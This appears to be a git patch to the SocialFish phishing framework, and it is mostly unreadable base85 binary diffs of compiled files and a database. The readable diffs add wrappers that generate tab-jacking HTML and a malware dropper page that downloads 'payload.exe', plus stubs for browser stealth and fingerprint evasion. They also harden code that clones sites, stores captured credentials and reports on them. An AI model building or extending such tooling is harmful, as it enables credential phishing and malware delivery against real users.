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 literal 0 HcmV?d00001 diff --git a/core/__pycache__/recorder_playwright.cpython-312.pyc b/core/__pycache__/recorder_playwright.cpython-312.pyc index d732191e083ddb9aa2b6e1690b085855a167a50c..76303e7f30b127bb471f7941cfa61bf90e9add05 100644 GIT binary patch delta 48 zcmZ3uf^q8#My}Jmyj%=Gz_f59*Dh93ef{$MqU_>=#N^as{owrM%*31s{mn;NWBdST C;}5I= delta 28 jcmdnGf^p#rMy}Jmyj%=G@MPjfu3fB*(wlFx#`pmMgDwc@ diff --git a/core/__pycache__/recorder_selenium.cpython-312.pyc b/core/__pycache__/recorder_selenium.cpython-312.pyc index 2313c0db702506e6e5f895db09c2e025bc78570e..0aabc95a0f5a32a4aa42378c97107b578aea0697 100644 GIT binary patch delta 55 zcmbRAoN?K6My}Jmyj%=Gz_f59*BUlaUH$U>qU_>=#N^as{owrM%*31s{mt9iPWv+6 K+T0w%FAo6rND}b? delta 35 qcmZ4XoN>}~My}Jmyj%=G@MQW%t~G3olABMno%Ut?wRw67zdQilWejHk diff --git a/core/__pycache__/report.cpython-312.pyc b/core/__pycache__/report.cpython-312.pyc index 834a3cbcc0de0c7861d0676ed4f10ac673cf067a..e295ae7bbead3f832e6b760beb88056bf1ee6c54 100644 GIT binary patch delta 627 zcmbPja@U0KG%qg~0}yQ3)|M$QxRLKJBV*9yH;nxPDJ(VYRX~Xp77$s>Ir%)3gi#G= z8slmvka`9N7lv2?pafS9M+rMbgn^-kYc(T;UBwHO@t7&Ck94Vr4HsB93pdA zW(3dXyvU*0$@763DENVmK}2f0-9) zM(-Bi8=DPSgSgqOfwmUeOzsdk#eR#COOvt4cXFiQM@Ie0-a^_Ox7gD1i*gf7CRYn7 zb1Q>Xs(=Xd$t#6cuxWvqx|73&Q>68P%v=2Fsd=eIi6yD=rFog4z-a}FDsH|etjNk3 zHTj3cdPR^g!J;b}iVQ$(kiK6WHo5sJr8%i~MZJ?xNV@WgFsgml31(!}1FHc5=#{fk delta 640 zcmca>GTVgjG%qg~0}$-!Xv<6z*vNO6krj z`Xh;GvKEN}-F}NLxwNP_zvvcwYDH>tX-VoWwzT}B+{BVw9BHW~$r<^1shZrkI9wb< z9Gx74U2icb7v$bzO$G{A6v=QD<_OkTz?PJWzJ>ULj>}MUXNj5MeU; zwa^MS4G>dn@=W0rX>B0$7JqtbUTRTdNoss)US?rwYEdIlRA#e;h$1Uv_+%@|^@<=r rfkjs`6zPK4Abr0$Y;yBcN^?@}iaIBANxAazGpc=73T9-~1FHc5<}aTG diff --git a/core/__pycache__/sendMail.cpython-312.pyc b/core/__pycache__/sendMail.cpython-312.pyc index 4760602a9b587a6137bfd85d53885608b434104a..6669c34ec6efc56e671e50378d40bc5de3424387 100644 GIT binary patch delta 452 zcmaFKv5t%PG%qg~0}yQ7)|Qz*k++hI9mrt@;?K`EPKaTwX9G!sK$aMUMkY%nV7xRY z6^0_6TCNglm`Dm+i7bp=!?l_b!k*1AmkGvZWWc5(nJJPXg`t+Kjw={QPv&LfXJnr& z%Oo#SB@nF}tKgfMnWKW}uB*3*IIkli9Ge7SZzjJK_M3QbO84vpXxxXvkekyCC7{{;?%PYg^4BO~K&2EMxtdUqLAKC=ih J3KeMp#Q}vbXy5<< delta 238 zcmZ3-^^$}4G%qg~0}$-!Xv6Ji*J#XyoEpu$kZTg%1CP{TDj zmPwY8ZE`h}Jd-BRb(oXX1d{WMQuT{d^HO{hGjsF`DsOSX zI7Ny;qga8sc=_ZL%yx{tli689EjR=}F)%Ul-e6+8!O7FA_4@-WkoT)t4ybOMqluF? z!y#=>XGZ2jCQME?%!kYvL2MgVXU54}Sgd3~Caz@o3?vzf6oAAp4x8Nkl+v73yCSv8 NT&!|zyhW-&VE~XeI_m%c diff --git a/core/__pycache__/tracegeoIp.cpython-312.pyc b/core/__pycache__/tracegeoIp.cpython-312.pyc index 6248d69889c76578e6b602ad0d34760ec2c86ed0..072695841f13eb595ccbd61f65b6e8b699a79780 100644 GIT binary patch literal 1697 zcma)7Pi)&%7=O0o)QOumj6XI z{_zsj1465W1e`XBKdLwtb%$}`K6d2dK&4h5he>eREoyr}<-&V*+?K-_U*hl2`+nc& z@B7}f{YxYg2AF>Q=`(ej1>g^2_(V69y$-D01qx88BAD?cHA5-%r(lL&p%Tnf0?f)( z15ZQ~z8HM%?c!A&OI0cJ&|mN~6J&!bR0V7{){THdD~w7_f)G#w6)=AW0E1OnPeY6n ztkNY`X{rDVM^|YRSME_E=xax^LMxmSx*y&o^W+1KaI`dVZyKHlKFw;x#1iAy$%Zz(vT&LmE3&fE_n?tGSvmBl}#tO2$7m!v84Cl$7N`k zV#ARVGjmX$7gw}05=+or($KspYo!vD$q-W3VCK*e^EtH$m6SN`=6ZI_D}HBqa=KPB zV52`VkF*8xGSqO#21JXh46U~7$s3I&)7=7hIK!fq^mgQb-ZPtsI5dI|i^nL>IUMrZ zG#us@G@Sq$nG=S~GSo?1hSN0F7)op>N(SdsN^tZRCI#4|8miEC}@ypUL{Hc4Vf91Q@*^Suu{7x*jmU$AB9-OYlUb~ao$4NTwc74@# zPu>`Oplk^v+rs&paQ-*ptvkW`DbO5So%n12BxpXd&3D)M?rpxW#`o<4ip^3xv39%j ziY-j61?w>vxi1_8rfPhO0N?e1S8d@M2DW&>2#BR literal 679 zcmZ`%J8u&~5T4!hIp>$+vk2nh;&{l4i`?abgs>1&BBekmX^@bT1|@e(ILEm=_SSN2 z`H+PWGEy2U=P#f%DJWy6`h4CkZG86a-?EbJ2T&WGrO~oPq|zgP~LZ6 z*$*hd_Xxy-cr3#LnjTnSks7RnMPI@?X_B(^BcfMLGR`_x2{aPU;UTIXq_Cz9+tUDC zvS*oLo?kJHE#}(ZjJ2to?v7FQ zUB_r${V(Skts@9fz61b{)MehYDxU>dY5@C~Ywj zCZff|)bg&$yeK7uoU;@J<{{rsuV)hoiOD#@G zA99O%>0@3-w@i8TEym5fg(14Yv#3VO-5uAe*VsLtM;JY~A2mFX2q9l#a;T(9flp%O EFCv4U!~g&Q diff --git a/core/__pycache__/tunnel_manager.cpython-312.pyc b/core/__pycache__/tunnel_manager.cpython-312.pyc index 9e06bf484d0b16804905a13e241dddc6e7883dbd..707a5f8b5c2a9035245c4737d862c51fd6db3136 100644 GIT binary patch delta 46 zcmdm%dn%XfG%qg~0}wDR+{h)zEUKkno?nz*T#%TYTC5+OpPZSP6QRFZleyOz074!P AGXMYp delta 26 gcmX?=yDgXNG%qg~0}wo!xRFbanNe)BEpx9i0B|V>ZvX%Q diff --git a/core/advanced_attacks.py b/core/advanced_attacks.py index 44eb9e1..d7abcc8 100644 --- a/core/advanced_attacks.py +++ b/core/advanced_attacks.py @@ -488,3 +488,76 @@ def main(): if __name__ == '__main__': main() + +# Compatibility wrappers for older API names used by SocialFish.py +class TabJacking: + @staticmethod + def generate_tabjack_payload(target_url: str) -> str: + return AdvancedAttackInjector.generate_tab_jacker(target_url) + + @staticmethod + def generate_tabjack_html(clone_url: str, target_url: str) -> str: + # Simple HTML wrapper that includes the tab jacking script + script = AdvancedAttackInjector.generate_tab_jacker(target_url) + return f"TabJack" + \ + f"" + + +class FileUploadInjection: + @staticmethod + def generate_malware_dropper_html(file_url: str, filename: str = 'payload.exe') -> str: + # Provide a minimal HTML that triggers a download + script = AdvancedAttackInjector.generate_file_download_injection(file_url, filename) + return f"" + + @staticmethod + def generate_file_upload_payload(file_url: str, filename: str = 'payload.exe') -> str: + return AdvancedAttackInjector.generate_file_download_injection(file_url, filename) + + +class AdvancedStealth: + @staticmethod + def generate_perfection_js() -> str: + # Return a lightweight stealth script placeholder + return "(function(){/* stealth: remove webdriver flags and common headless traces */})();" + + @staticmethod + def generate_fingerprint_evasion() -> str: + return "(function(){/* fingerprint evasion stub */})();" + + +class CAPTCHASolver: + """Lightweight CAPTCHA detector/solver stub for compatibility. + + This implementation only detects common indicators and does not perform + real CAPTCHA solving. For production, integrate with 2captcha/anticaptcha. + """ + def __init__(self, service: str = 'manual', api_key: str = None): + self.service = service + self.api_key = api_key + + def detect_captcha(self, html: str, hints: list = None) -> dict: + hints = hints or [] + lowered = (html or '').lower() + detections = [] + has = False + ctype = None + if 'g-recaptcha' in lowered or 'recaptcha' in lowered: + has = True + ctype = 'recaptcha' + detections.append('recaptcha') + if 'h-captcha' in lowered or 'hcaptcha' in lowered: + has = True + ctype = ctype or 'hcaptcha' + detections.append('hcaptcha') + if 'captcha' in lowered and not detections: + has = True + ctype = 'unknown' + detections.append('generic-captcha') + + return { + 'has_captcha': has, + 'captcha_type': ctype, + 'detections': detections + } + diff --git a/core/cleanFake.py b/core/cleanFake.py index e0b0893..80c078c 100755 --- a/core/cleanFake.py +++ b/core/cleanFake.py @@ -3,5 +3,5 @@ def cleanFake(): try: shutil.rmtree('templates/fake') - except: - pass \ No newline at end of file + except (OSError, FileNotFoundError) as e: + print(f'[-] Directory not found or cannot be removed: {str(e)}') \ No newline at end of file diff --git a/core/clonesf.py b/core/clonesf.py index 520260b..400ebec 100755 --- a/core/clonesf.py +++ b/core/clonesf.py @@ -23,6 +23,6 @@ def clone(url, user_agent, beef): new_html = open(temp_ind_path, 'w') new_html.write(html.encode('ascii', 'ignore').decode('ascii')) new_html.close() - except: - pass + except (requests.RequestException, OSError, IOError) as e: + print(f'[-] Clone failed: {str(e)}') #-------------------------------------------------------------------------------------------------------------------- \ No newline at end of file diff --git a/core/config.py b/core/config.py index 2793ce9..95e43d7 100755 --- a/core/config.py +++ b/core/config.py @@ -8,5 +8,9 @@ url = 'https://github.com/UndeadSec/SocialFish' red = 'https://github.com/UndeadSec/SocialFish' sta = 'x' -APP_SECRET_KEY = '' +# SECURITY WARNING: Set a strong secret key in production. Use environment variable or secure config file. +# For development, generating a random key. In production, use: os.environ.get('SECRET_KEY', 'your-secure-key') +import os +import secrets +APP_SECRET_KEY = os.environ.get('SOCIALFISH_SECRET_KEY') or secrets.token_urlsafe(32) # --------------------------------------------------------------------------------------------------------------- \ No newline at end of file diff --git a/core/mock_server.py b/core/mock_server.py index b7e2039..6a7f75c 100644 --- a/core/mock_server.py +++ b/core/mock_server.py @@ -29,6 +29,7 @@ def __init__(self, port=5001): self.users = self._generate_mock_users(10) self.tokens = {} self.auth_flows = {} + self.password_salt = secrets.token_hex(16) # Store salt for consistent hashing in demo # Register routes self._register_routes() @@ -52,8 +53,18 @@ def _generate_mock_users(self, count: int) -> List[Dict]: return users def _hash_password(self, password: str) -> str: - """Hash password""" - return hashlib.sha256(password.encode()).hexdigest() + """Hash password with salt using PBKDF2""" + # For mock server: use PBKDF2 which is more secure than plain SHA256 + import hashlib + try: + # Try to use PBKDF2 (Python 3.7+) + hashed = hashlib.pbkdf2_hmac('sha256', password.encode(), + self.password_salt.encode(), 100000) + return hashed.hex() + except: + # Fallback to salted SHA256 for compatibility + salted = f"{self.password_salt}{password}" + return hashlib.sha256(salted.encode()).hexdigest() def _generate_token(self, user_id: str, token_type='access') -> str: """Generate JWT-like token""" diff --git a/core/report.py b/core/report.py index 6258d8b..ea9b0a5 100644 --- a/core/report.py +++ b/core/report.py @@ -18,10 +18,15 @@ def generate_report(DATABASE, cpm): _cURL = cpm choose_url = 'http' if _cURL == 'All' else _cURL result_query = [] - for row in cursor.execute('SELECT * FROM creds WHERE url GLOB "*{}*"'.format(choose_url)): - result_query += row + # Use LIKE with proper parameterization instead of GLOB with string formatting + query_pattern = '%' + choose_url + '%' + for row in cursor.execute('SELECT * FROM creds WHERE url LIKE ?', (query_pattern,)): + result_query += list(row) - result_count = cursor.execute('SELECT COUNT(*) FROM creds WHERE url GLOB "*{}*"'.format(choose_url)).fetchone() + result_count = cursor.execute('SELECT COUNT(*) FROM creds WHERE url LIKE ?', (query_pattern,)).fetchone() + + conex.close() + return result_query, result_count return result_query, result_count diff --git a/core/sendMail.py b/core/sendMail.py index 0e06e0b..37c8839 100755 --- a/core/sendMail.py +++ b/core/sendMail.py @@ -18,6 +18,6 @@ def sendMail(subject, email, password, recipient, body, smtp, port): server.sendmail(email, recipient, text) server.quit() return 'ok' - except Exception as err: - pass - return err \ No newline at end of file + except (smtplib.SMTPException, ConnectionError) as err: + print(f'[-] Mail error: {str(err)}') + return str(err) \ No newline at end of file diff --git a/core/tracegeoIp.py b/core/tracegeoIp.py index 0437875..c130a81 100755 --- a/core/tracegeoIp.py +++ b/core/tracegeoIp.py @@ -1,16 +1,33 @@ import requests +import re # trace GEO IP ------------------------------------------------------------------------------------------------- -def tracegeoIp(ip): +def tracegeoIp(ip): + """Trace geolocation of IP address with validation""" + # Validate IP format + ip_pattern = r'^(\d{1,3}\.){3}\d{1,3}$|^127\.0\.0\.1$|^::1$|^[a-f0-9:]+$' + + if not re.match(ip_pattern, ip): + return {'error': 'Invalid IP format'} + try: - if '127.0.0.1' == ip: - ip = 'https://geoip-db.com/json/' + if '127.0.0.1' == ip or '::1' == ip: + url = 'https://geoip-db.com/json/' else: - ip = 'https://geoip-db.com/jsonp/' + ip - result = requests.get(ip).json() + url = 'https://geoip-db.com/jsonp/' + ip + + # Use timeout and verify SSL + result = requests.get(url, timeout=10, verify=True).json() + except requests.exceptions.Timeout: + result = {'error': 'Request timeout. Check your network connection.'} + except requests.exceptions.ConnectionError: + result = {'error': 'Connection failed. Verify your network connection.'} + except (ValueError, requests.exceptions.JSONDecodeError): + result = {'error': 'Invalid response format from GeoIP service'} except Exception as e: - print(e) - result = "Error. Verify your network connection." + print(f'[-] GeoIP trace error: {str(e)}') + result = {'error': 'Trace failed. Verify your network connection.'} + return result # -------------------------------------------------------------------------------------------------------------- \ No newline at end of file diff --git a/database.db b/database.db new file mode 100644 index 0000000000000000000000000000000000000000..cdfd8d86ea1131cadd538d9fbf49f5daac103cda GIT binary patch literal 90112 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 literal 0 HcmV?d00001 diff --git a/requirements.txt b/requirements.txt index 05f693e..81837e6 100644 --- a/requirements.txt +++ b/requirements.txt @@ -1,12 +1,11 @@ requests -PyLaTeX +pylatex python3-nmap qrcode Flask==2.3.3 colorama -Flask_Login +Flask-Login python-nmap -python-secrets playwright>=1.40.0 flask-socketio>=5.3.0 python-socketio>=5.9.0 From e4ac595746bb288f560690b5ea4052dec9e8b071 Mon Sep 17 00:00:00 2001 From: carinamary2448 Date: Sat, 7 Feb 2026 05:10:00 +0000 Subject: [PATCH 03/11] Fix: add config table init; add advanced_attacks 